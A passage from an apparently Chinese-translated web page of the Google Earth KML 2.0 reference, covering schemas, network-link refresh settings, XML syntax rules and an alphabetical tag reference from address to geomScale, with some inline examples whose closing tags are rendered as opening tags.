        &lt;href&gt;C:/red_icon.jpg&lt;/href&gt;
      &lt;/Icon&gt;
    &lt;/IconStyle&gt;
  &lt;/Style&gt;
  &lt;StyleMap id="exampleStyleMap"&gt;
    &lt;Pair&gt;
      &lt;key&gt;normal&lt;/key&gt;
      &lt;styleUrl&gt;#normalPlacemark&lt;/styleUrl&gt;
    &lt;/Pair&gt;
    &lt;Pair&gt;
      &lt;key&gt;highlight&lt;/key&gt;
      &lt;styleUrl&gt;#highlightPlacemark&lt;/styleUrl&gt;
    &lt;/Pair&gt;
  &lt;/StyleMap&gt;
  &lt;Placemark&gt;
    &lt;name&gt;Example Placemark&lt;/name&gt;
    &lt;styleUrl&gt;#exampleStyleMap&lt;/styleUrl&gt;
    &lt;Point&gt;
      &lt;coordinates&gt;-122.0856545755255,37.42243077405461,0&lt;/coordinates&gt;
    &lt;/Point&gt;
  &lt;/Placemark&gt;
&lt;/Document&gt;
&lt;/kml&gt;
</PRE>
<H4>&nbsp;</H4>
<H3><A name=schemas></A>Schemas</H3>
<P>For elements in your KML that are not native to the default KML schema, you can define your own schema as a set of named and typed XML elements. For example, you can specify how KML should interpret imported files such as from a GPS tracker. A schema requires the following:</P>
<H5>Parent entity</H5>
<P>The KML entity that the new schema will inherit from. For example, if you want the data in your KML document to inherit the elements of a placemark, you would set Placemark as the parent. See the entry for &lt;parent&gt; for more information.</P>
<H5>Schema name</H5>
<P>As with all other features, the name element identifies the schema. See the entry for &lt;name&gt; for more information.</P>
<H5>Field declaration(s)</H5>
<P>The field declaration specifies the individual fields in your KML data and defines their name and type. The following example illustrates:</P><PRE>&lt;Schema&gt;
  &lt;name&gt;States&lt;/name&gt;
  &lt;parent&gt;Placemark&lt;/parent&gt;
  &lt;SimpleField&gt;
    &lt;name&gt;FIPS&lt;/name&gt;
    &lt;type&gt;wstring&lt;/type&gt;
  &lt;/SimpleField&gt;
  &lt;SimpleField&gt;
    &lt;name&gt;STATE&lt;/name&gt;
    &lt;type&gt;wstring&lt;/type&gt;
  &lt;/SimpleField&gt;
&lt;/Schema&gt;
</PRE>
<P>Here, the schema inherits all the attributes of the Placemark element. It defines three simple fields -- FIPS, STATE, and NAME -- all of which are wide string fields (unicode UCS2 encoding). Subsequent use of those fields in the KML will be correctly interpreted by the Google Earth client as elements similar in structure to Placemark elements.</P>
<H3><A name=network_links></A>网络连接</H3>
<P>Use network links to quickly and easily share KML files among multiple users by sharing a link to the data rather than distributing the data itself. In addition to the common features, a network link has the following features:</P>
<H5>Icon</H5>
<P>Containes the information associated with the linked KML file. Network links can reference the KML file either on remote servers (http://..) or on local networks (\myServer\..). The Url tag is a parent to several child tags which control various aspects of the link's behavior. These are: </P>
<H6>href</H6>
<P>网络文件的路径</P>
<H6>刷新间隔</H6>
<P>指定网络文件的刷新间隔，如果该值大于0,网址每隔n秒刷新一回，如果小于0，网址则不会被加载，如果等于0，则会只下载一次. 查看<A href="http://www.step1.cn/googleapi/map/kml.htm#refreshinterval">&lt;refreshinterval&gt;</A>标签获取更多信息.</P>
<H6>可见性刷新Refresh Visibility</H6>
<P>指定在Google Earth中的项变化时是否重置该项的可见性.例如，假设有一项在KML文件之中可见性设置为0，而且refreshVisibility设置为1，当文件第一次加载到Google Earth之中的时候，该项是不显示的如果用户通过点击该项的复选框而已经使该项显示出来，这种情况下该网络KML文件被刷新之后，该项又会重新变成不显示. 查看<A href="http://www.step1.cn/googleapi/map/kml.htm#refreshvisibility">&lt;refreshvisibility&gt;</A>标签获取更多信息.</P>
<H6>刷新模式</H6>
<P>网络连接有三种动态加载方式：用户手动请求、文件被加载时，和周期性的刷新，查看<A href="http://www.step1.cn/googleapi/map/kml.htm#refreshmode">&lt;refreshmode&gt;</A>标签获取更多信息.</P>
<H6>视图刷新模式</H6>
<P>Google Earth能够向网络服务器发送基于视图的查询请求，这种请求可以是周期性(根据视图刷新时间的设置)的，也可以是当视图停顿一段时间后. 一旦触发后,Google Earth向服务器发送一个包含当前视图坐标的请求,服务器根据坐标返回相应的信息内容，查看<A href="http://www.step1.cn/googleapi/map/kml.htm#viewrefreshmode">&lt;viewrefreshmode&gt;</A>标签获取更多信息.</P>
<H6>视图刷新时间View Refresh Time</H6>
<P>和刷新间隔差不多，但是该项的值控制试图坐标的值每隔多长时间发送到服务器，查看<A href="http://www.step1.cn/googleapi/map/kml.htm#viewRefreshTime">&lt;viewRefreshTime&gt;</A>标签获取更多信息</P>
<P>注意: 当使用本地网络路径的时候，路径之中的分隔符应该使用(//)而不是(\).</P>
<H1><A name=kml_ref></A>Google Earth KML 2.0 参考</H1>
<P>这一节包含KML标签的语法结构和参考信息. </P>
<H2><A name=syntax></A>KML语法规则</H2>
<P>和任何程序和脚本语言一样，KML有一些必须遵循的语法规则.</P>
<H3><A name=doc_structure></A>文档结构</H3>
<P>一个KML文档应该完全遵循KML格式，文档也和基本的XML语法规则差不多，有以下几点要特别注意的地方.</P>
<UL>
<LI>XML标签必须关闭 
<LI>XML标签是大小写敏感的 
<LI>对于KML语法,首字母大写的标签是复合标签，否则就是单一标签，在实体和标签介绍之中有更多相关信息. 
<LI>XML标签必须正确嵌套 
<LI>XML文档必须只有一个根标签 
<LI>对于KML文件，这意味着你可以使用&lt;kml&gt;&lt;/kml&gt;, &lt;Document&gt;&lt;/Document&gt; &lt;Folder&gt;&lt;/Folder&gt;甚至 &lt;Placemark&gt;&lt;/Placemark&gt;作为根标签 
<LI>属性必须用引号包围起来 
<LI>CR/LF(回车符)被认为是插入一个新行(在HTML描述之中，被转化为&lt;br&gt;) 
<LI>XML的注释方法和HTML是一样的 </LI></UL>
<P>要了解更多信息，可以去查阅XML参考文档或语法向导.如果你的KML文档结构不符合XML文档规范，将会在Google Earth中产生一个解析错误的对话框 (查看http://www.w3.org/XML/ 了解根多关于XML的信息.)</P>
<P>注意: XML Schema 验证还没有被Google Earth支持.</P>
<H3><A name=tag_types></A>标记类型</H3>
<P>有两种基本的KML标记类型: 单一标签和复合标签.复合标签的标签名首字母是大写的，而单一标签都是小写的，复合标签能够作为其他标签(单一标签或复合标签)的父元素， ,而单一标签只能是其他复合标签的子元素，而自身不能包含其他元素.</P>
<H3><A name=string_values></A>字符串</H3>
<P>在KML文件中的任何字符串，例如<NAME> name 和<DESCRIPTION> description标签中的值,都可以是utf-8或者Unicode编码的字符串.</DESCRIPTION></NAME></P>
<H3><A name=kml_elements></A>KML标签列表</H3>
<P>这一节包含所有能用的KML标签的参考，按字母顺序排列，每一段列出了该标签正确的大小写格式，类型、值和层次.</P><A name=top></A>
<DIV id=defs>
<DIV class=term><A name=address></A>
<H4>&lt;address&gt;</H4>
<DIV class=desc>单一标签.是<A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A>的子元素，包含按照标准填写的地址：街道,城市,州,或邮政编码. <BR></DIV>
<DL>
<DT>值: 
<DD>代表一个点所在位置或邮政编码的字符串.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=altitudeMode></A>
<H4>&lt;altitudeMode&gt;</H4>
<DIV class=desc></DIV>
<DL>
<DT>值: 
<DD>clampedToGround、relativeToGround或absolute. <BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Point">&lt;Point&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LineString">&lt;LineString&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=begin></A>
<H4>&lt;begin&gt;</H4>
<DIV class=desc>单一标签.是<A href="http://www.step1.cn/googleapi/map/kml.htm#TimePeriod">&lt;TimePeriod&gt;</A>的子元素.指定一个时间区域的开始点.如果没有指定，则代表无限小的时间.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#begin">&lt;begin&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#TimeInstant">&lt;TimeInstant&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#timePosition">&lt;timePosition&gt;</A>1876-08-01<A href="http://www.step1.cn/googleapi/map/kml.htm#timePosition">&lt;timePosition&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#TimeInstant">&lt;TimeInstant&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#begin">&lt;begin&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>使用UTC(Coordinated Universal Time)格式的日期时间 .查看<A href="http://www.step1.cn/googleapi/map/kml.htm#TimeInstant">&lt;TimeInstant&gt;</A>和<A href="http://www.step1.cn/googleapi/map/kml.htm#timePosition">&lt;timePosition&gt;</A>了解更多关于时间格式的信息. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#TimePeriod">&lt;TimePeriod&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#TimeInstant">&lt;TimeInstant&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=color></A>
<H4>&lt;color&gt;</H4>
<DIV class=desc>单一标签，代表一个32位的16进制颜色值. <BR></DIV>
<DL>
<DT>值: 
<DD>The standard range from 00000000 to ffffffff<BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#PolyStyle">&lt;PolyStyle&gt;</A><BR>&lt;LineStyle&gt;<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#IconStyle">&lt;IconStyle&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=coordinates></A>
<H4>&lt;coordinates&gt;</H4>
<DIV class=desc>单一标签，可以是是任何几何形状的子元素，定义每一个点的经度、纬度和高度(按照严格的顺序). 多个点使用空格隔开，经纬度按照WGS84标准.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Point">&lt;Point&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A>-111.661,33.2212,0<A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Point">&lt;Point&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>由点的坐标决定，经纬度的单位是度，而高度的单位是米(海拔).<BR><BR>注意:应该按照 经度,纬度,高度 这样的格式和顺序来设置，否则坐标可能会不准确.<BR><BR>
<DT>父元素: 
<DD>Contained by any geometry.<BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=description></A>
<H4>&lt;description&gt;</H4>
<DIV class=desc>单一标签.提供描述信息.描述显示在用户点击该目录或标注时的弹出窗口中. <BR><BR>支持纯文本和HTML语法，如果其中包含有效的网址，则Google Earth会自动显示为一个连接T(例如http://www.google.com).而不需要使用任何标签<BR><BR>如果你使用任何的HTML语法，就必须使用字符实体引用或者CDATA来防止HTML字符如&gt;&lt;被当作XML解析，下面的例子说明了description标签的用法:<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#description">&lt;description&gt;</A><BR>&lt;![CDATA[&lt;a href="http://www.google.com.honeycomb.cs.cornell.edu:8888/"&gt;Google Search!&lt;/a&gt;]]&gt;<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#description">&lt;description&gt;</A><BR><BR>CDATA元素让KML解析器忽略其内部的特殊字符.按以下方式使用该元素:<BR><BR>&lt;![CDATA[ special characters here ]]&gt;<BR><BR>如果你不喜欢使用CDATA元素，你也可以使用实体引用来替换所有的特殊字符. <BR><BR></DIV>
<DL>
<DT>值: 
<DD>任意字符串<BR><BR>注意: description标签只是支持HTML格式化，并不支持其他的网络性能，比如脚本语言和Iframe.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Document">&lt;Document&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#NetworkLink">&lt;NetworkLink&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=Document></A>
<H4>&lt;Document&gt;</H4>
<DIV class=desc>kml文档的根元素.同时也是一个目录，可是它不是必需的，如果你的kml文件使用到了schemas和样式表，就一定要使用该标签.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Document">&lt;Document&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style id="my_style"&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A>./images/my_image.png<A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A><BR>. . . .<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Document">&lt;Document&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>无. 
<DT>子元素: 
<DD>Can contain the following tags:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#description">&lt;description&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;LookAt&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#NetworkLink">&lt;NetworkLink&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Document">&lt;Document&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=drawOrder></A>
<H4>&lt;drawOrder&gt;</H4>
<DIV class=desc>单一标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A>和<A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A>的子元素. 用来定义当多个图片重叠的时候的摆放顺序.默认值是0，该值大的图片显示将在该值小一些的图片的上面.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#drawOrder">&lt;drawOrder&gt;</A>0<A href="http://www.step1.cn/googleapi/map/kml.htm#drawOrder">&lt;drawOrder&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>从0到99的范围.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=east></A>
<H4>&lt;east&gt;</H4>
<DIV class=desc>单一标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#LatLonBox">&lt;LatLonBox&gt;</A>.的子元素.指定图片标注右边缘的经度值.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#east">&lt;east&gt;</A>-95.1583<A href="http://www.step1.cn/googleapi/map/kml.htm#east">&lt;east&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>由图片标记所描述的实际地理位置决定，经度和纬度以度数表示，而高度则以海拔高度(以米为单位)来表示.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LatLonBox">&lt;LatLonBox&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=end></A>
<H4>&lt;end&gt;</H4>
<DIV class=desc>是<A href="http://www.step1.cn/googleapi/map/kml.htm#TimePeriod">&lt;TimePeriod&gt;</A>的子元素.指定一个时间区域的结束点.如果没有指定，则代表无限大的时间.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#end">&lt;end&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#TimeInstant">&lt;TimeInstant&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#timePosition">&lt;timePosition&gt;</A>2004-08-01<A href="http://www.step1.cn/googleapi/map/kml.htm#timePosition">&lt;timePosition&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#TimeInstant">&lt;TimeInstant&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#end">&lt;end&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>使用UTC(Coordinated Universal Time)格式的日期时间 .查看<A href="http://www.step1.cn/googleapi/map/kml.htm#TimeInstant">&lt;TimeInstant&gt;</A>和<A href="http://www.step1.cn/googleapi/map/kml.htm#timePosition">&lt;timePosition&gt;</A>了解更多关于时间格式的信息.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#TimePeriod">&lt;TimePeriod&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#TimeInstant">&lt;TimeInstant&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=extrude></A>
<H4>&lt;extrude&gt;</H4>
<DIV class=desc>单一标签，允许对2维的图形如地名标注、路径、多边形进行立体化处理. <BR></DIV>
<DL>
<DT>值: 
<DD>以米为单位的extrusion高度值. <BR><BR>
<DT>父元素: 
<DD>被以下元素包含: <BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LineString">&lt;LineString&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Point">&lt;Point&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=fill></A>
<H4>&lt;fill&gt;</H4>
<DIV class=desc>单一标签.指示是否对多边形进行填充. <BR></DIV>
<DL>
<DT>值: 
<DD>0 (不填充)或1.<BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#PolyStyle">&lt;PolyStyle&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=Folder></A>
<H4>&lt;Folder&gt;</H4>
<DIV class=desc>复合标签.用来对所有的标注进行树形分类. 请看关于目录的介绍获得更多信息.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A>Name of Folder<A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#description">&lt;description&gt;</A>Descriptive text<A href="http://www.step1.cn/googleapi/map/kml.htm#description">&lt;description&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A>SubFolder #1 Name<A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#description">&lt;description&gt;</A>Descriptive text<A href="http://www.step1.cn/googleapi/map/kml.htm#description">&lt;description&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR>[placemark data here ...]<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A>SubFolder #2 Name<A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#description">&lt;description&gt;</A>Descriptive text<A href="http://www.step1.cn/googleapi/map/kml.htm#description">&lt;description&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR>[placemark data here ...]<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Document">&lt;Document&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#NetworkLink">&lt;NetworkLink&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#description">&lt;description&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;LookAt&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#NetworkLink">&lt;NetworkLink&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Document">&lt;Document&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=geomColor></A>
<H4>&lt;geomColor&gt;</H4>
<DIV class=desc>单一标签.是<A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A>的子元素. 用来给地理点、线和多边形设置颜色，下面的例子表现一个不透明的蓝色:<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style ID="myIconStyleID"&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#geomColor">&lt;geomColor&gt;</A>ff640000<A href="http://www.step1.cn/googleapi/map/kml.htm#geomColor">&lt;geomColor&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Point">&lt;Point&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A>-122.072408, 37.412161, 6.936751<A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Point">&lt;Point&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A>#myIconStyleID<A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A><BR>...<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><BR>注意:颜色被设置后,图标的表面颜色会被<A href="http://www.step1.cn/googleapi/map/kml.htm#geomColor">&lt;geomColor&gt;</A>的颜色值进行multiply(正片叠底)处理. 例如,如果图表颜色是蓝绿色,并且你设置<A href="http://www.step1.cn/googleapi/map/kml.htm#geomColor">&lt;geomColor&gt;</A>为绿黄色,最后显示出来就将会是绿色. 注意这个正片叠底模式, RGB颜色值分别相乘(R*R, G*G, B*B).因此,红色(1, 0, 0)和绿色(0, 1, 0) 最后会生成黑色,因为(1*0, 0*1, 0*0)最后是(0, 0, 0).<BR><BR></DIV>
<DL>
<DT>值: 
<DD>16进制表示的颜色，包括透明度的值，顺序是alpha, blue, green, red (ABGR). <BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=GeometryCollection></A>
<H4>&lt;GeometryCollection&gt;</H4>
<DIV class=desc>复合标签，用来组合多个几何形状，例如组合多个多边形用来在Google Earth中描述一个单一的标注.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GeometryCollection">&lt;GeometryCollection&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#outerBoundaryIs">&lt;outerBoundaryIs&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LinearRing">&lt;LinearRing&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A>.....<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LinearRing">&lt;LinearRing&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#outerBoundaryIs">&lt;outerBoundaryIs&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#outerBoundaryIs">&lt;outerBoundaryIs&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#, LinearRing">&lt;LinearRing&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A>.....<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LinearRing">&lt;LinearRing&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#outerBoundaryIs">&lt;outerBoundaryIs&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GeometryCollection">&lt;GeometryCollection&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><BR>
<DT>子元素: 
<DD>能够包含任何几何形状，包括其它GeometryCollection.<BR><BR></DD></DL></DIV>
<DIV class=term><A name=geomScale></A>
<H4>&lt;geomScale&gt;</H4>
<DIV class=desc>单一标签.是<A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A>的子元素.用这个标签来缩放图标(也就是地理点)和线以改变它们在Google Earth之中的显示大小.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style id="myPlacemarkID"&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#geomScale">&lt;geomScale&gt;</A>2<A href="http://www.step1.cn/googleapi/map/kml.htm#geomScale">&lt;geomScale&gt;</A><BR>&lt;labelScale&gt;1.08&lt;/labelScale&gt;<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#geomColor">&lt;geomColor&gt;</A>ff08ceff<A href="http://www.step1.cn/googleapi/map/kml.htm#labelColor">&lt;labelColor&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A>root://icons/....<A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A><BR><BR>通常，这个标签并不影响多边形，除非多边形使用outline模式，在这个模式下，只有多边形的外轮廓的线有效果.<BR><BR></DIV>
<DL>
<DT>值: 
<DD>代表缩放到的倍数的小数.例如，默认的图标大小是1而geomScale设置为.5，则设置后图标大小便为原来的一半同样,如果geomScale设置为2则将使图表大小翻倍. 对于线段,这个只代表线宽，默认的线宽是1.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=GroundOverlay></A>
